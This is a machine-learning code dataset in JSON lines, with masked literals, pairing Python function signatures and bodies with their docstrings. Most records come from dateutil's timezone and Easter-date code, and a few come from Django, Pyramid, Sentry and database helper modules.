{"signature": "def _fromutc(self, dt):", "body": "<EOL>dtoff = dt.utcoffset()<EOL>if dtoff is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT:result>\")<EOL><DEDENT>dtdst = dt.dst()<EOL>if dtdst is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>delta = dtoff - dtdst<EOL>dt += delta<EOL>dtdst = enfold(dt, fold=<NUM_LIT:1>).dst()<EOL>if dtdst is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return dt + dtdst<EOL>", "docstring": "Given a timezone-aware datetime in a given timezone, calculates a\ntimezone-aware datetime in a new timezone.\n\nSince this is the one time that we *know* we have an unambiguous\ndatetime object, we take this opportunity to determine whether the\ndatetime is ambiguous and in a \"fold\" state (e.g. if it's the first\noccurence, chronologically, of the ambiguous datetime).\n\n:param dt:\n    A timezone-aware :class:`datetime.datetime` object.", "id": "f15161:c0:m3"}
{"signature": "@_validate_fromutc_inputs<EOL><INDENT>def fromutc(self, dt):<DEDENT>", "body": "dt_wall = self._fromutc(dt)<EOL>_fold = self._fold_status(dt, dt_wall)<EOL>return enfold(dt_wall, fold=_fold)<EOL>", "docstring": "Given a timezone-aware datetime in a given timezone, calculates a\ntimezone-aware datetime in a new timezone.\n\nSince this is the one time that we *know* we have an unambiguous\ndatetime object, we take this opportunity to determine whether the\ndatetime is ambiguous and in a \"fold\" state (e.g. if it's the first\noccurance, chronologically, of the ambiguous datetime).\n\n:param dt:\n    A timezone-aware :class:`datetime.datetime` object.", "id": "f15161:c0:m4"}
{"signature": "def fromutc(self, dt):", "body": "if not isinstance(dt, datetime):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if dt.tzinfo is not self:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>transitions = self.transitions(dt.year)<EOL>if transitions is None:<EOL><INDENT>return dt + self.utcoffset(dt)<EOL><DEDENT>dston, dstoff = transitions<EOL>dston -= self._std_offset<EOL>dstoff -= self._std_offset<EOL>utc_transitions = (dston, dstoff)<EOL>dt_utc = dt.replace(tzinfo=None)<EOL>isdst = self._naive_isdst(dt_utc, utc_transitions)<EOL>if isdst:<EOL><INDENT>dt_wall = dt + self._dst_offset<EOL><DEDENT>else:<EOL><INDENT>dt_wall = dt + self._std_offset<EOL><DEDENT>_fold = int(not isdst and self.is_ambiguous(dt_wall))<EOL>return enfold(dt_wall, fold=_fold)<EOL>", "docstring": "Given a datetime in UTC, return local time", "id": "f15161:c1:m4"}
{"signature": "def is_ambiguous(self, dt):", "body": "if not self.hasdst:<EOL><INDENT>return False<EOL><DEDENT>start, end = self.transitions(dt.year)<EOL>dt = dt.replace(tzinfo=None)<EOL>return (end <= dt < end + self._dst_base_offset)<EOL>", "docstring": "Whether or not the \"wall time\" of a given datetime is ambiguous in this\nzone.\n\n:param dt:\n    A :py:class:`datetime.datetime`, naive or time zone aware.\n\n\n:return:\n    Returns ``True`` if ambiguous, ``False`` otherwise.\n\n.. versionadded:: 2.6.0", "id": "f15161:c1:m5"}
{"signature": "def picknthweekday(year, month, dayofweek, hour, minute, whichweek):", "body": "first = datetime.datetime(year, month, <NUM_LIT:1>, hour, minute)<EOL>weekdayone = first.replace(day=((dayofweek - first.isoweekday()) % <NUM_LIT:7>) + <NUM_LIT:1>)<EOL>wd = weekdayone + ((whichweek - <NUM_LIT:1>) * ONEWEEK)<EOL>if (wd.month != month):<EOL><INDENT>wd -= ONEWEEK<EOL><DEDENT>return wd<EOL>", "docstring": "dayofweek == 0 means Sunday, whichweek 5 means last instance", "id": "f15162:m1"}
{"signature": "def valuestodict(key):", "body": "dout = {}<EOL>size = winreg.QueryInfoKey(key)[<NUM_LIT:1>]<EOL>tz_res = None<EOL>for i in range(size):<EOL><INDENT>key_name, value, dtype = winreg.EnumValue(key, i)<EOL>if dtype == winreg.REG_DWORD or dtype == winreg.REG_DWORD_LITTLE_ENDIAN:<EOL><INDENT>if value & (<NUM_LIT:1> << <NUM_LIT>):<EOL><INDENT>value = value - (<NUM_LIT:1> << <NUM_LIT:32>)<EOL><DEDENT><DEDENT>elif dtype == winreg.REG_SZ:<EOL><INDENT>if value.startswith('<STR_LIT>'):<EOL><INDENT>tz_res = tz_res or tzres()<EOL>value = tz_res.name_from_string(value)<EOL><DEDENT>value = value.rstrip('<STR_LIT:\\x00>')    <EOL><DEDENT>dout[key_name] = value<EOL><DEDENT>return dout<EOL>", "docstring": "Convert a registry key's values to a dictionary.", "id": "f15162:m2"}
{"signature": "def load_name(self, offset):", "body": "resource = self.p_wchar()<EOL>lpBuffer = ctypes.cast(ctypes.byref(resource), wintypes.LPWSTR)<EOL>nchar = self.LoadStringW(self._tzres._handle, offset, lpBuffer, <NUM_LIT:0>)<EOL>return resource[:nchar]<EOL>", "docstring": "Load a timezone name from a DLL offset (integer).\n\n>>> from dateutil.tzwin import tzres\n>>> tzr = tzres()\n>>> print(tzr.load_name(112))\n'Eastern Standard Time'\n\n:param offset:\n    A positive integer value referring to a string from the tzres dll.\n\n..note:\n    Offsets found in the registry are generally of the form\n    `@tzres.dll,-114`. The offset in this case if 114, not -114.", "id": "f15162:c0:m1"}
{"signature": "def name_from_string(self, tzname_str):", "body": "if not tzname_str.startswith('<STR_LIT:@>'):<EOL><INDENT>return tzname_str<EOL><DEDENT>name_splt = tzname_str.split('<STR_LIT>')<EOL>try:<EOL><INDENT>offset = int(name_splt[<NUM_LIT:1>])<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return self.load_name(offset)<EOL>", "docstring": "Parse strings as returned from the Windows registry into the time zone\nname as defined in the registry.\n\n>>> from dateutil.tzwin import tzres\n>>> tzr = tzres()\n>>> print(tzr.name_from_string('@tzres.dll,-251'))\n'Dateline Daylight Time'\n>>> print(tzr.name_from_string('Eastern Standard Time'))\n'Eastern Standard Time'\n\n:param tzname_str:\n    A timezone name string as returned from a Windows registry key.\n\n:return:\n    Returns the localized timezone string from tzres.dll if the string\n    is of the form `@tzres.dll,-offset`, else returns the input string.", "id": "f15162:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def list():<DEDENT>", "body": "with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle:<EOL><INDENT>with winreg.OpenKey(handle, TZKEYNAME) as tzkey:<EOL><INDENT>result = [winreg.EnumKey(tzkey, i)<EOL>for i in range(winreg.QueryInfoKey(tzkey)[<NUM_LIT:0>])]<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a list of all time zones known to the system.", "id": "f15162:c1:m2"}
{"signature": "def transitions(self, year):", "body": "if not self.hasdst:<EOL><INDENT>return None<EOL><DEDENT>dston = picknthweekday(year, self._dstmonth, self._dstdayofweek,<EOL>self._dsthour, self._dstminute,<EOL>self._dstweeknumber)<EOL>dstoff = picknthweekday(year, self._stdmonth, self._stddayofweek,<EOL>self._stdhour, self._stdminute,<EOL>self._stdweeknumber)<EOL>dstoff -= self._dst_base_offset<EOL>return dston, dstoff<EOL>", "docstring": "For a given year, get the DST on and off transition times, expressed\nalways on the standard time side. For zones with no transitions, this\nfunction returns ``None``.\n\n:param year:\n    The year whose transitions you would like to query.\n\n:return:\n    Returns a :class:`tuple` of :class:`datetime.datetime` objects,\n    ``(dston, dstoff)`` for zones with an annual DST transition, or\n    ``None`` for fixed offset zones.", "id": "f15162:c1:m4"}
{"signature": "def datetime_exists(dt, tz=None):", "body": "if tz is None:<EOL><INDENT>if dt.tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>tz = dt.tzinfo<EOL><DEDENT>dt = dt.replace(tzinfo=None)<EOL>dt_rt = dt.replace(tzinfo=tz).astimezone(tzutc()).astimezone(tz)<EOL>dt_rt = dt_rt.replace(tzinfo=None)<EOL>return dt == dt_rt<EOL>", "docstring": "Given a datetime and a time zone, determine whether or not a given datetime\nwould fall in a gap.\n\n:param dt:\n    A :class:`datetime.datetime` (whose time zone will be ignored if ``tz``\n    is provided.)\n\n:param tz:\n    A :class:`datetime.tzinfo` with support for the ``fold`` attribute. If\n    ``None`` or not provided, the datetime's own time zone will be used.\n\n:return:\n    Returns a boolean value whether or not the \"wall time\" exists in ``tz``.", "id": "f15164:m1"}
{"signature": "def datetime_ambiguous(dt, tz=None):", "body": "if tz is None:<EOL><INDENT>if dt.tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>tz = dt.tzinfo<EOL><DEDENT>is_ambiguous_fn = getattr(tz, '<STR_LIT>', None)<EOL>if is_ambiguous_fn is not None:<EOL><INDENT>try:<EOL><INDENT>return tz.is_ambiguous(dt)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>dt = dt.replace(tzinfo=tz)<EOL>wall_0 = enfold(dt, fold=<NUM_LIT:0>)<EOL>wall_1 = enfold(dt, fold=<NUM_LIT:1>)<EOL>same_offset = wall_0.utcoffset() == wall_1.utcoffset()<EOL>same_dst = wall_0.dst() == wall_1.dst()<EOL>return not (same_offset and same_dst)<EOL>", "docstring": "Given a datetime and a time zone, determine whether or not a given datetime\nis ambiguous (i.e if there are two times differentiated only by their DST\nstatus).\n\n:param dt:\n    A :class:`datetime.datetime` (whose time zone will be ignored if ``tz``\n    is provided.)\n\n:param tz:\n    A :class:`datetime.tzinfo` with support for the ``fold`` attribute. If\n    ``None`` or not provided, the datetime's own time zone will be used.\n\n:return:\n    Returns a boolean value whether or not the \"wall time\" is ambiguous in\n    ``tz``.\n\n.. versionadded:: 2.6.0", "id": "f15164:m2"}
{"signature": "def _datetime_to_timestamp(dt):", "body": "return _total_seconds((dt.replace(tzinfo=None) - EPOCH))<EOL>", "docstring": "Convert a :class:`datetime.datetime` object to an epoch timestamp in seconds\nsince January 1, 1970, ignoring the time zone.", "id": "f15164:m3"}
{"signature": "def is_ambiguous(self, dt):", "body": "return False<EOL>", "docstring": "Whether or not the \"wall time\" of a given datetime is ambiguous in this\nzone.\n\n:param dt:\n    A :py:class:`datetime.datetime`, naive or time zone aware.\n\n\n:return:\n    Returns ``True`` if ambiguous, ``False`` otherwise.\n\n.. versionadded:: 2.6.0", "id": "f15164:c0:m3"}
{"signature": "@_validate_fromutc_inputs<EOL><INDENT>def fromutc(self, dt):<DEDENT>", "body": "return dt<EOL>", "docstring": "Fast track version of fromutc() returns the original ``dt`` object for\nany valid :py:class:`datetime.datetime` object.", "id": "f15164:c0:m4"}
{"signature": "def is_ambiguous(self, dt):", "body": "return False<EOL>", "docstring": "Whether or not the \"wall time\" of a given datetime is ambiguous in this\nzone.\n\n:param dt:\n    A :py:class:`datetime.datetime`, naive or time zone aware.\n\n\n:return:\n    Returns ``True`` if ambiguous, ``False`` otherwise.\n\n.. versionadded:: 2.6.0", "id": "f15164:c1:m5"}
{"signature": "def is_ambiguous(self, dt):", "body": "naive_dst = self._naive_is_dst(dt)<EOL>return (not naive_dst and<EOL>(naive_dst != self._naive_is_dst(dt - self._dst_saved)))<EOL>", "docstring": "Whether or not the \"wall time\" of a given datetime is ambiguous in this\nzone.\n\n:param dt:\n    A :py:class:`datetime.datetime`, naive or time zone aware.\n\n\n:return:\n    Returns ``True`` if ambiguous, ``False`` otherwise.\n\n.. versionadded:: 2.6.0", "id": "f15164:c2:m4"}
{"signature": "def _set_tzdata(self, tzobj):", "body": "<EOL>for attr in _tzfile.attrs:<EOL><INDENT>setattr(self, '<STR_LIT:_>' + attr, getattr(tzobj, attr))<EOL><DEDENT>", "docstring": "Set the time zone data of this object from a _tzfile object", "id": "f15164:c5:m1"}
{"signature": "def fromutc(self, dt):", "body": "<EOL>if not isinstance(dt, datetime.datetime):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if dt.tzinfo is not self:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>idx = self._find_last_transition(dt, in_utc=True)<EOL>tti = self._get_ttinfo(idx)<EOL>dt_out = dt + datetime.timedelta(seconds=tti.offset)<EOL>fold = self.is_ambiguous(dt_out, idx=idx)<EOL>return enfold(dt_out, fold=int(fold))<EOL>", "docstring": "The ``tzfile`` implementation of :py:func:`datetime.tzinfo.fromutc`.\n\n:param dt:\n    A :py:class:`datetime.datetime` object.\n\n:raises TypeError:\n    Raised if ``dt`` is not a :py:class:`datetime.datetime` object.\n\n:raises ValueError:\n    Raised if this is called with a ``dt`` which does not have this\n    ``tzinfo`` attached.\n\n:return:\n    Returns a :py:class:`datetime.datetime` object representing the\n    wall time in ``self``'s time zone.", "id": "f15164:c5:m6"}
{"signature": "def is_ambiguous(self, dt, idx=None):", "body": "if idx is None:<EOL><INDENT>idx = self._find_last_transition(dt)<EOL><DEDENT>timestamp = _datetime_to_timestamp(dt)<EOL>tti = self._get_ttinfo(idx)<EOL>if idx is None or idx <= <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>od = self._get_ttinfo(idx - <NUM_LIT:1>).offset - tti.offset<EOL>tt = self._trans_list[idx]          <EOL>return timestamp < tt + od<EOL>", "docstring": "Whether or not the \"wall time\" of a given datetime is ambiguous in this\nzone.\n\n:param dt:\n    A :py:class:`datetime.datetime`, naive or time zone aware.\n\n\n:return:\n    Returns ``True`` if ambiguous, ``False`` otherwise.\n\n.. versionadded:: 2.6.0", "id": "f15164:c5:m7"}
{"signature": "def transitions(self, year):", "body": "if not self.hasdst:<EOL><INDENT>return None<EOL><DEDENT>base_year = datetime.datetime(year, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>start = base_year + self._start_delta<EOL>end = base_year + self._end_delta<EOL>return (start, end)<EOL>", "docstring": "For a given year, get the DST on and off transition times, expressed\nalways on the standard time side. For zones with no transitions, this\nfunction returns ``None``.\n\n:param year:\n    The year whose transitions you would like to query.\n\n:return:\n    Returns a :class:`tuple` of :class:`datetime.datetime` objects,\n    ``(dston, dstoff)`` for zones with an annual DST transition, or\n    ``None`` for fixed offset zones.", "id": "f15164:c6:m1"}
{"signature": "def keys(self):", "body": "return list(self._vtz.keys())<EOL>", "docstring": "Retrieves the available time zones as a list.", "id": "f15164:c10:m1"}
{"signature": "def get(self, tzid=None):", "body": "if tzid is None:<EOL><INDENT>if len(self._vtz) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif len(self._vtz) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>tzid = next(iter(self._vtz))<EOL><DEDENT>return self._vtz.get(tzid)<EOL>", "docstring": "Retrieve a :py:class:`datetime.tzinfo` object by its ``tzid``.\n\n:param tzid:\n    If there is exactly one time zone available, omitting ``tzid``\n    or passing :py:const:`None` value returns it. Otherwise a valid\n    key (which can be retrieved from :func:`keys`) is required.\n\n:raises ValueError:\n    Raised if ``tzid`` is not specified but there are either more\n    or fewer than 1 zone defined.\n\n:returns:\n    Returns either a :py:class:`datetime.tzinfo` object representing\n    the relevant time zone or :py:const:`None` if the ``tzid`` was\n    not found.", "id": "f15164:c10:m2"}
{"signature": "def normalized(self):", "body": "<EOL>days = int(self.days)<EOL>hours_f = round(self.hours + <NUM_LIT> * (self.days - days), <NUM_LIT:11>)<EOL>hours = int(hours_f)<EOL>minutes_f = round(self.minutes + <NUM_LIT> * (hours_f - hours), <NUM_LIT:10>)<EOL>minutes = int(minutes_f)<EOL>seconds_f = round(self.seconds + <NUM_LIT> * (minutes_f - minutes), <NUM_LIT:8>)<EOL>seconds = int(seconds_f)<EOL>microseconds = round(self.microseconds + <NUM_LIT> * (seconds_f - seconds))<EOL>return self.__class__(years=self.years, months=self.months,<EOL>days=days, hours=hours, minutes=minutes,<EOL>seconds=seconds, microseconds=microseconds,<EOL>leapdays=self.leapdays, year=self.year,<EOL>month=self.month, day=self.day,<EOL>weekday=self.weekday, hour=self.hour,<EOL>minute=self.minute, second=self.second,<EOL>microsecond=self.microsecond)<EOL>", "docstring": "Return a version of this object represented entirely using integer\nvalues for the relative attributes.\n\n>>> relativedelta(days=1.5, hours=2).normalized()\nrelativedelta(days=1, hours=14)\n\n:return:\n    Returns a :class:`dateutil.relativedelta.relativedelta` object.", "id": "f15166:c0:m5"}
{"signature": "def get_zonefile_instance(new_instance=False):", "body": "if new_instance:<EOL><INDENT>zif = None<EOL><DEDENT>else:<EOL><INDENT>zif = getattr(get_zonefile_instance, '<STR_LIT>', None)<EOL><DEDENT>if zif is None:<EOL><INDENT>zif = ZoneInfoFile(getzoneinfofile_stream())<EOL>get_zonefile_instance._cached_instance = zif<EOL><DEDENT>return zif<EOL>", "docstring": "This is a convenience function which provides a :class:`ZoneInfoFile`\ninstance using the data provided by the ``dateutil`` package. By default, it\ncaches a single instance of the ZoneInfoFile object and returns that.\n\n:param new_instance:\n    If ``True``, a new instance of :class:`ZoneInfoFile` is instantiated and\n    used as the cached instance for the next call. Otherwise, new instances\n    are created only as necessary.\n\n:return:\n    Returns a :class:`ZoneInfoFile` object.\n\n.. versionadded:: 2.6", "id": "f15167:m1"}
{"signature": "def gettz(name):", "body": "warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>if len(_CLASS_ZONE_INSTANCE) == <NUM_LIT:0>:<EOL><INDENT>_CLASS_ZONE_INSTANCE.append(ZoneInfoFile(getzoneinfofile_stream()))<EOL><DEDENT>return _CLASS_ZONE_INSTANCE[<NUM_LIT:0>].zones.get(name)<EOL>", "docstring": "This retrieves a time zone from the local zoneinfo tarball that is packaged\nwith dateutil.\n\n:param name:\n    An IANA-style time zone name, as found in the zoneinfo file.\n\n:return:\n    Returns a :class:`dateutil.tz.tzfile` time zone object.\n\n.. warning::\n    It is generally inadvisable to use this function, and it is only\n    provided for API compatibility with earlier versions. This is *not*\n    equivalent to ``dateutil.tz.gettz()``, which selects an appropriate\n    time zone based on the inputs, favoring system zoneinfo. This is ONLY\n    for accessing the dateutil-specific zoneinfo (which may be out of\n    date compared to the system zoneinfo).\n\n.. deprecated:: 2.6\n    If you need to use a specific zoneinfofile over the system zoneinfo,\n    instantiate a :class:`dateutil.zoneinfo.ZoneInfoFile` object and call\n    :func:`dateutil.zoneinfo.ZoneInfoFile.get(name)` instead.\n\n    Use :func:`get_zonefile_instance` to retrieve an instance of the\n    dateutil-provided zoneinfo.", "id": "f15167:m2"}
{"signature": "def gettz_db_metadata():", "body": "warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>if len(_CLASS_ZONE_INSTANCE) == <NUM_LIT:0>:<EOL><INDENT>_CLASS_ZONE_INSTANCE.append(ZoneInfoFile(getzoneinfofile_stream()))<EOL><DEDENT>return _CLASS_ZONE_INSTANCE[<NUM_LIT:0>].metadata<EOL>", "docstring": "Get the zonefile metadata\n\n    See `zonefile_metadata`_\n\n    :returns:\n        A dictionary with the database metadata\n\n    .. deprecated:: 2.6\n        See deprecation warning in :func:`zoneinfo.gettz`. To get metadata,\n        query the attribute ``zoneinfo.ZoneInfoFile.metadata``.", "id": "f15167:m3"}
{"signature": "def get(self, name, default=None):", "body": "return self.zones.get(name, default)<EOL>", "docstring": "Wrapper for :func:`ZoneInfoFile.zones.get`. This is a convenience method\nfor retrieving zones from the zone dictionary.\n\n:param name:\n    The name of the zone to retrieve. (Generally IANA zone names)\n\n:param default:\n    The value to return in the event of a missing key.\n\n.. versionadded:: 2.6.0", "id": "f15167:c1:m1"}
{"signature": "def rebuild(filename, tag=None, format=\"<STR_LIT>\", zonegroups=[], metadata=None):", "body": "tmpdir = tempfile.mkdtemp()<EOL>zonedir = os.path.join(tmpdir, \"<STR_LIT>\")<EOL>moduledir = os.path.dirname(__file__)<EOL>try:<EOL><INDENT>with tar_open(filename) as tf:<EOL><INDENT>for name in zonegroups:<EOL><INDENT>tf.extract(name, tmpdir)<EOL><DEDENT>filepaths = [os.path.join(tmpdir, n) for n in zonegroups]<EOL>try:<EOL><INDENT>check_call([\"<STR_LIT>\", \"<STR_LIT>\", zonedir] + filepaths)<EOL><DEDENT>except OSError as e:<EOL><INDENT>_print_on_nosuchfile(e)<EOL>raise<EOL><DEDENT><DEDENT>with open(os.path.join(zonedir, METADATA_FN), '<STR_LIT:w>') as f:<EOL><INDENT>json.dump(metadata, f, indent=<NUM_LIT:4>, sort_keys=True)<EOL><DEDENT>target = os.path.join(moduledir, ZONEFILENAME)<EOL>with tar_open(target, \"<STR_LIT>\" % format) as tf:<EOL><INDENT>for entry in os.listdir(zonedir):<EOL><INDENT>entrypath = os.path.join(zonedir, entry)<EOL>tf.add(entrypath, entry)<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>shutil.rmtree(tmpdir)<EOL><DEDENT>", "docstring": "Rebuild the internal timezone info in dateutil/zoneinfo/zoneinfo*tar*\n\n    filename is the timezone tarball from ftp.iana.org/tz.", "id": "f15168:m0"}
{"signature": "def _print_on_nosuchfile(e):", "body": "if e.errno == <NUM_LIT:2>:<EOL><INDENT>logging.error(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Print helpful troubleshooting message\n\n    e is an exception raised by subprocess.check_call()", "id": "f15168:m1"}
{"signature": "def easter(year, method=EASTER_WESTERN):", "body": "if not (<NUM_LIT:1> <= method <= <NUM_LIT:3>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>y = year<EOL>g = y % <NUM_LIT><EOL>e = <NUM_LIT:0><EOL>if method < <NUM_LIT:3>:<EOL><INDENT>i = (<NUM_LIT> * g + <NUM_LIT:15>) % <NUM_LIT:30><EOL>j = (y + y // <NUM_LIT:4> + i) % <NUM_LIT:7><EOL>if method == <NUM_LIT:2>:<EOL><INDENT>e = <NUM_LIT:10><EOL>if y > <NUM_LIT>:<EOL><INDENT>e = e + y // <NUM_LIT:100> - <NUM_LIT:16> - (y // <NUM_LIT:100> - <NUM_LIT:16>) // <NUM_LIT:4><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>c = y // <NUM_LIT:100><EOL>h = (c - c // <NUM_LIT:4> - (<NUM_LIT:8> * c + <NUM_LIT>) // <NUM_LIT> + <NUM_LIT> * g + <NUM_LIT:15>) % <NUM_LIT:30><EOL>i = h - (h // <NUM_LIT>) * (<NUM_LIT:1> - (h // <NUM_LIT>) *<EOL>(<NUM_LIT> // (h + <NUM_LIT:1>)) * ((<NUM_LIT> - g) // <NUM_LIT:11>))<EOL>j = (y + y // <NUM_LIT:4> + i + <NUM_LIT:2> - c + c // <NUM_LIT:4>) % <NUM_LIT:7><EOL><DEDENT>p = i - j + e<EOL>d = <NUM_LIT:1> + (p + <NUM_LIT> + (p + <NUM_LIT:6>) // <NUM_LIT>) % <NUM_LIT><EOL>m = <NUM_LIT:3> + (p + <NUM_LIT>) // <NUM_LIT:30><EOL>return datetime.date(int(y), int(m), int(d))<EOL>", "docstring": "This method was ported from the work done by GM Arts,\non top of the algorithm by Claus Tondering, which was\nbased in part on the algorithm of Ouding (1940), as\nquoted in \"Explanatory Supplement to the Astronomical\nAlmanac\", P.  Kenneth Seidelmann, editor.\n\nThis algorithm implements three different easter\ncalculation methods:\n\n1 - Original calculation in Julian calendar, valid in\n    dates after 326 AD\n2 - Original method, with date converted to Gregorian\n    calendar, valid in years 1583 to 4099\n3 - Revised method, in Gregorian calendar, valid in\n    years 1583 to 4099 as well\n\nThese methods are represented by the constants:\n\n* ``EASTER_JULIAN   = 1``\n* ``EASTER_ORTHODOX = 2``\n* ``EASTER_WESTERN  = 3``\n\nThe default method is method 3.\n\nMore about the algorithm may be found at:\n\nhttp://users.chariot.net.au/~gmarts/eastalg.htm\n\nand\n\nhttp://www.tondering.dk/claus/calendar.html", "id": "f15169:m0"}
{"signature": "def prt_console(message, verbose):  ", "body": "if verbose:<EOL><INDENT>logger.info(message)<EOL><DEDENT>", "docstring": "Print message to console, if ``verbose`` is True.", "id": "f15170:m0"}
{"signature": "@register.filter<EOL>def twitter_bootstrap(element, args=\"<STR_LIT>\"):", "body": "element_type = element.__class__.__name__.lower()<EOL>args_list = [arg.strip() for arg in args.split('<STR_LIT:U+002C>')]<EOL>layout = (len(args_list) and args_list[<NUM_LIT:0>]) or \"<STR_LIT:default>\"<EOL>size = (len(args_list) > <NUM_LIT:1> and args_list[<NUM_LIT:1>]) or \"<STR_LIT>\"<EOL>label_cols = (len(args_list) > <NUM_LIT:2> and args_list[<NUM_LIT:2>]) or \"<STR_LIT:2>\"<EOL>input_cols = (len(args_list) > <NUM_LIT:3> and args_list[<NUM_LIT:3>]) or str(<NUM_LIT:12> - int(label_cols))<EOL>lbl_size_class = \"<STR_LIT>\" % (size, label_cols)<EOL>lbl_size_offset_class = \"<STR_LIT>\" % (size, label_cols)<EOL>ipt_size_class = \"<STR_LIT>\" % (size, input_cols)<EOL>if layout not in [\"<STR_LIT:default>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>layout = \"<STR_LIT:default>\"<EOL><DEDENT>if element_type == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if layout == \"<STR_LIT:default>\":<EOL><INDENT>field_template_file = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>field_template_file = \"<STR_LIT>\" % layout<EOL><DEDENT>template = get_template(\"<STR_LIT>\")<EOL>context = {<EOL>'<STR_LIT>': element,<EOL>'<STR_LIT>': layout,<EOL>'<STR_LIT>': lbl_size_class,<EOL>'<STR_LIT>': lbl_size_offset_class,<EOL>'<STR_LIT>': ipt_size_class,<EOL>'<STR_LIT>': settings.BOOTSTRAP_REQUIRED_SUFFIX,<EOL>'<STR_LIT>': \"<STR_LIT>\" % field_template_file}<EOL><DEDENT>return template.render(context)<EOL>", "docstring": "valid layouts are:\n- default\n- search\n- inline\n- horizontal\n\n{{ form|twitter_bootstrap:\"default\" }}\n{{ form|twitter_bootstrap:\"horizontal\" }}\n{{ form|twitter_bootstrap:\"horizontal,[xs,sm,md,lg],[1-12],[1-12]\" }}", "id": "f15173:m0"}
{"signature": "def expandvars_dict(settings):", "body": "return dict(<EOL>(key, os.path.expandvars(value))<EOL>for key, value in settings.iteritems()<EOL>)<EOL>", "docstring": "Expands all environment variables in a settings dictionary.", "id": "f15179:m0"}
{"signature": "def initialize_sentry_integration():  ", "body": "<EOL>try:<EOL><INDENT>import sentry_sdk<EOL>from sentry_sdk.integrations.pyramid import PyramidIntegration<EOL>from sentry_sdk.integrations.celery import CeleryIntegration<EOL><DEDENT>except ImportError:<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>UserWarning,<EOL>)<EOL>return  <EOL><DEDENT>try:<EOL><INDENT>dsn = os.environ['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>UserWarning,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>sentry_sdk.init(<EOL>dsn=dsn,<EOL>integrations=[PyramidIntegration(), CeleryIntegration()],<EOL>)<EOL><DEDENT>", "docstring": "\\\n    Used to optionally initialize the Sentry service with this app.\n    See https://docs.sentry.io/platforms/python/pyramid/", "id": "f15179:m1"}
{"signature": "def includeme(config):", "body": "global cache_manager<EOL>settings = config.registry.settings<EOL>cache_manager = CacheManager(**parse_cache_config_options(settings))<EOL>", "docstring": "Configures the caching manager", "id": "f15180:m0"}
{"signature": "def _make_one(self, payload, channel=None, pid=None):", "body": "if channel is None:<EOL><INDENT>channel = '<STR_LIT>'<EOL><DEDENT>if pid is None:<EOL><INDENT>pid = <NUM_LIT><EOL><DEDENT>from psycopg2.extensions import Notify<EOL>notif = Notify(pid=pid, channel=channel, payload=payload)<EOL>return notif<EOL>", "docstring": "Make a `psycopg2.extensions.Notify` object", "id": "f15181:c0:m1"}
{"signature": "def _set_uri(model):", "body": "<EOL>model.set_uri('<STR_LIT>', model.ident_hash)<EOL>", "docstring": "Set the model's cnx-archive-uri to the model's ident_hash.", "id": "f15184:m4"}
{"signature": "def _insert_control_id(uuid_, cursor):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(uuid_,))<EOL>return cursor.fetchone()[<NUM_LIT:0>]<EOL>", "docstring": "Inserts a UUID value into the ``document_controls`` table.", "id": "f15184:m5"}
{"signature": "def _insert_acl_for_model(model, cursor):", "body": "uuid_ = model.id<EOL>permission = '<STR_LIT>'<EOL>for person_struct in model.metadata['<STR_LIT>']:<EOL><INDENT>user_id = person_struct['<STR_LIT:id>']<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_, user_id, permission,))<EOL><DEDENT>", "docstring": "Insert the access control list for the given model.", "id": "f15184:m6"}
